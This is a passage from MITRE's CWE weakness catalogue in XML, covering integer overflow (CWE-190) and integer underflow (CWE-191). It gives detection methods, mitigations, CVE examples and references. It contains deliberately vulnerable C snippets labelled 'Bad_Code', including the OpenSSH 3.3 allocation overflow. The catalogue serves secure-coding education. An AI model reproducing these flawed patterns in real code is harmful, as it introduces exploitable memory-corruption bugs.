							manual methods to diagnose the underlying problem. </Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-7">
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using tools and techniques that require
							manual (human) analysis, such as penetration testing, threat modeling,
							and interactive tools that allow the tester to record and modify an
							active session. </Text>
						            <Text>Specifically, manual static analysis is useful for evaluating the
							correctness of allocation calculations. This can be useful for detecting
							overflow conditions (CWE-190) or similar weaknesses that might have
							serious security impacts on the program.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text> These may be more effective than strictly automated techniques. This
							is especially the case with weaknesses that are related to design and
							business rules.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text> Ensure that all protocols are strictly defined, such that all
							out-of-bounds behavior can be identified simply, and require strict
							conformance to the protocol.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-3">
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Language Selection</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a language that does not allow this weakness to occur or provides
							constructs that make this weakness easier to avoid.</Text>
						            <Text>If possible, choose a language or compiler that performs automatic
							bounds checking.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>Use libraries or frameworks that make it easier to handle numbers
							without unexpected consequences.</Text>
						            <Text>Examples include safe integer handling packages such as SafeInt (C++)
							or IntegerLib (C or C++). [R.190.5]</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-8">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Perform input validation on any numeric input by ensuring that it is
							within the expected range. Enforce that the input meets both the minimum
							and maximum requirements for the expected range.</Text>
						            <Text>Use unsigned integers where possible. This makes it easier to perform
							sanity checks for integer overflows. When signed integers are required,
							ensure that the range check includes minimum values as well as maximum
							values.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-36">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Understand the programming language's underlying representation and
							how it interacts with numeric calculation (CWE-681). Pay close attention
							to byte size discrepancies, precision, signed/unsigned distinctions,
							truncation, conversion and casting between types, "not-a-number"
							calculations, and how the language handles numbers that are too large or
							too small for its underlying representation. [R.190.3]</Text>
						            <Text>Also be careful to account for 32-bit, 64-bit, and other potential
							differences that may affect the numeric representation.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-26">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Compilation or Build Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Examine compiler warnings closely and eliminate problems with
							potential security implications, such as signed / unsigned mismatch in
							memory operations, or use of uninitialized variables. Even if the
							weakness is rarely exploitable, a single failure may lead to the
							compromise of the entire system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-33">
					          <Intro_Text>The following image processing code allocates a table for
						images.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>img_t table_ptr; /*struct containing img data, 10kB each*/</Code>
							              <Code>int num_imgs;</Code>
							              <Code>...</Code>
							              <Code>num_imgs = get_num_imgs();</Code>
							              <Code>table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>This code intends to allocate a table of size num_imgs, however as
							num_imgs grows large, the calculation determining the size of the list
							will eventually overflow (CWE-190). This will result in a very small
							list to be allocated instead. If the subsequent code operates on the
							list as if it were num_imgs long, it may result in many types of
							out-of-bounds problems (CWE-119).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code excerpt from OpenSSH 3.3 demonstrates a classic
						case of integer overflow:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>nresp = packet_get_int();</Code>
							              <Code>if (nresp &gt; 0) {</Code>
							              <Block>
								                <Code>response = xmalloc(nresp*sizeof(char*));</Code>
								                <Code>for (i = 0; i &gt; nresp; i++) response[i] =
									packet_get_string(NULL);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If nresp has the value 1073741824 and sizeof(char*) has its typical
							value of 4, then the result of the operation nresp*sizeof(char*)
							overflows, and the argument to xmalloc() will be 0. Most malloc()
							implementations will happily allocate a 0-byte buffer, causing the
							subsequent loop iterations to overflow the heap buffer response.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>Integer overflows can be complicated and difficult to detect. The
						following example is an attempt to show how an integer overflow may lead to
						undefined looping behavior:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>short int bytesRec = 0;</Code>
							              <Code>char buf[SOMEBIGNUM];</Code>
							              <Code/>
							              <Code>while(bytesRec &lt; MAXGET) {</Code>
							              <Block>
								                <Code>bytesRec += getFromInput(buf+bytesRec);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>In the above case, it is entirely possible that bytesRec may overflow,
							continuously creating a lower number than MAXGET and also overwriting
							the first MAXGET-1 bytes of buf.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In this example the method determineFirstQuarterRevenue is used to
						determine the first quarter revenue for an accounting/business application.
						The method retrieves the monthly sales totals for the first three months of
						the year, calculates the first quarter sales totals from the monthly sales
						totals, calculates the first quarter revenue based on the first quarter
						sales, and finally saves the first quarter revenue results to the
						database.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define JAN 1</Code>
							              <Code>#define FEB 2</Code>
							              <Code>#define MAR 3</Code>
							              <Code/>
							              <Code>short getMonthlySales(int month) {...}</Code>
							              <Code/>
							              <Code>float calculateRevenueForQuarter(short quarterSold) {...}</Code>
							              <Code/>
							              <Code>int determineFirstQuarterRevenue() {</Code>
							              <Block>
								                <Code/>
								                <Comment>// Variable for sales revenue for the quarter</Comment>
								                <Code>float quarterRevenue = 0.0f;</Code>
								                <Code/>
								                <Code>short JanSold = getMonthlySales(JAN); /* Get sales in January
									*/</Code>
								                <Code>short FebSold = getMonthlySales(FEB); /* Get sales in February
									*/</Code>
								                <Code>short MarSold = getMonthlySales(MAR); /* Get sales in March
									*/</Code>
								                <Code/>
								                <Comment>// Calculate quarterly total</Comment>
								                <Code>short quarterSold = JanSold + FebSold + MarSold;</Code>
								                <Code/>
								                <Comment>// Calculate the total revenue for the quarter</Comment>
								                <Code>quarterRevenue =
									calculateRevenueForQuarter(quarterSold);</Code>
								                <Code/>
								                <Code>saveFirstQuarterRevenue(quarterRevenue);</Code>
								                <Code/>
								                <Code>return 0;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> However, in this example the primitive type short int is used for
							both the monthly and the quarterly sales variables. In C the short int
							primitive type has a maximum value of 32768. This creates a potential
							integer overflow if the value for the three monthly sales adds up to
							more than the maximum value for the short int primitive type. An integer
							overflow can lead to data corruption, unexpected behavior, infinite
							loops and system crashes. To correct the situation the appropriate
							primitive type should be used, as in the example below, and/or provide
							some validation mechanism to ensure that the maximum value for the
							primitive type is not exceeded.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>...</Code>
							              <Code>float calculateRevenueForQuarter(long quarterSold) {...}</Code>
							              <Code/>
							              <Code>int determineFirstQuarterRevenue() {</Code>
							              <Block>
								                <Code>...</Code>
								                <Comment>// Calculate quarterly total</Comment>
								                <Code>long quarterSold = JanSold + FebSold + MarSold;</Code>
								                <Code/>
								                <Comment>// Calculate the total revenue for the quarter</Comment>
								                <Code>quarterRevenue =
									calculateRevenueForQuarter(quarterSold);</Code>
								                <Code/>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Note that an integer overflow could also occur if the quarterSold
							variable has a primitive type long but the method
							calculateRevenueForQuarter has a parameter of type short.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2753</Observed_Example_Reference>
					          <Observed_Example_Description> chain: integer overflow leads to
						use-after-free</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0391</Observed_Example_Reference>
					          <Observed_Example_Description>Integer overflow via a large number of
						arguments.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0639</Observed_Example_Reference>
					          <Observed_Example_Description>Integer overflow in OpenSSH as listed in the
						demonstrative examples.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1141</Observed_Example_Reference>
					          <Observed_Example_Description>Image with large width and height leads to integer
						overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0102</Observed_Example_Reference>
					          <Observed_Example_Description>Length value of -1 leads to allocation of 0 bytes
						and resultant heap overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2013</Observed_Example_Reference>
					          <Observed_Example_Description>Length value of -1 leads to allocation of 0 bytes
						and resultant heap overflow.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Number processing</Functional_Area>
				        <Functional_Area>Memory management</Functional_Area>
				        <Functional_Area>Non-specific, counters</Functional_Area>
			      </Functional_Areas>
			      <References>
				        <Reference Local_Reference_ID="R.190.1">
					          <Reference_Author>Yves Younan</Reference_Author>
					          <Reference_Title>An overview of common programming security vulnerabilities and
						possible solutions</Reference_Title>
					          <Reference_Publication>Student thesis section 5.4.3</Reference_Publication>
					          <Reference_PubDate>August 2003</Reference_PubDate>
					          <Reference_Link>http://fort-knox.org/thesis.pdf</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.190.2">
					          <Reference_Author>blexim</Reference_Author>
					          <Reference_Title>Basic Integer Overflows</Reference_Title>
					          <Reference_Publication>Phrack - Issue 60, Chapter 10</Reference_Publication>
					          <Reference_Link>http://www.phrack.org/issues.html?issue=60&amp;id=10#article</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.190.3">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 20, "Integer Overflows" Page 620</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.190.4">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 7: Integer Overflows." Page 119</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-18" Local_Reference_ID="R.190.5">
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>Niels Dekker</Reference_Author>
					          <Reference_Title>SafeInt</Reference_Title>
					          <Reference_Link>http://safeint.codeplex.com/</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.190.6">
					          <Reference_Author>Johannes Ullrich</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 17 - Integer Overflow Or
						Wraparound</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-18</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/18/top-25-series-–-rank-17-–-integer-overflow-or-wraparound/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Signed Integer Boundaries", Page
						220.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Integer overflow (wrap or wraparound)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Integer Overflow</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Integer overflow</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Use a secure integer library</Mapped_Node_Name>
					          <Mapped_Node_ID>INT03-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that unsigned integer operations do not
						wrap</Mapped_Node_Name>
					          <Mapped_Node_ID>INT30-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that operations on signed integers do not result in
						overflow</Mapped_Node_Name>
					          <Mapped_Node_ID>INT32-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Evaluate integer expressions in a larger size before comparing
						or assigning to that size</Mapped_Node_Name>
					          <Mapped_Node_ID>INT35-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that the arguments to calloc(), when multiplied, can be
						represented as a size_t</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM07-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Allocate sufficient memory for an object</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM35-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Integer Overflows </Mapped_Node_Name>
					          <Mapped_Node_ID>3</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Use a secure integer library</Mapped_Node_Name>
					          <Mapped_Node_ID>INT03-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure that unsigned integer operations do not
						wrap</Mapped_Node_Name>
					          <Mapped_Node_ID>INT30-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure that operations on signed integers do not result in
						overflow</Mapped_Node_Name>
					          <Mapped_Node_ID>INT32-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Evaluate integer expressions in a larger size before comparing
						or assigning to that size</Mapped_Node_Name>
					          <Mapped_Node_ID>INT35-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure that the arguments to calloc(), when multiplied, can be
						represented as a size_t</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM07-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Allocate sufficient memory for an object</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM35-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>92</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Relationship_Notes, Taxonomy_Mappings,
						Terminology_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Potential_Mitigations, Terminology_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Detection_Factors,
						Functional_Areas, Observed_Examples, Potential_Mitigations, References,
						Related_Attack_Patterns, Relationships, Taxonomy_Mappings,
						Terminology_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Detection_Factors,
						Potential_Mitigations, References,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Integer Overflow (Wrap or
						Wraparound)</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="191" Name="Integer Underflow (Wrap or Wraparound)" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product subtracts one value from another, such that the
					result is less than the minimum allowable integer value, which produces a value
					that is not equal to the correct result.</Description_Summary>
				        <Extended_Description>
					          <Text>This can happen in signed and unsigned cases.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>682</Relationship_Target_ID>
					          <!--Incorrect Calculation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Integer underflow</Term>
					          <Alternate_Term_Description>
						            <Text>"Integer underflow" is sometimes used to identify signedness errors in
							which an originally positive number becomes negative as a result of
							subtraction. However, there are cases of bad subtraction in which
							unsigned integers are involved, so it's not always a signedness
							issue.</Text>
						            <Text>"Integer underflow" is occasionally used to describe array index
							errors in which the index is negative.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness will generally lead to undefined behavior and therefore
							crashes. In the case of overflows involving loop index variables, the
							likelihood of infinite loops is also high.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the value in question is important to data (as opposed to flow),
							simple data corruption has occurred. Also, if the wrap around results in
							other conditions such as buffer overflows, further memory corruption may
							occur.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness can sometimes trigger buffer overflows which can be used
							to execute arbitrary code. This is usually outside the scope of a
							program's implicit security policy.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following example has an integer underflow. The value of i is
						already at the lowest negative value possible. The new value of i is
						2147483647.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#include &lt;stdio.h&gt;</Code>
							              <Code>#include &lt;stdbool.h&gt;</Code>
							              <Code>main (void)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>int i;</Code>
								                <Code>unsigned int j = 0;</Code>
								                <Code>i = -2147483648;</Code>
								                <Code>i = i - 1;</Code>
								                <Code>j = j - 1;</Code>
								                <Code>return 0;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0816</Observed_Example_Reference>
					          <Observed_Example_Description>Integer underflow in firewall via malformed
						packet.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1002</Observed_Example_Reference>
					          <Observed_Example_Description>Integer underflow by packet with invalid
						length.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0199</Observed_Example_Reference>
					          <Observed_Example_Description>Long input causes incorrect length
						calculation.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1891</Observed_Example_Reference>
					          <Observed_Example_Description>Malformed icon causes integer underflow in loop
						counter variable.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 7: Integer Overflows." Page 119</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Integer underflow (wrap or wraparound)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Example</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
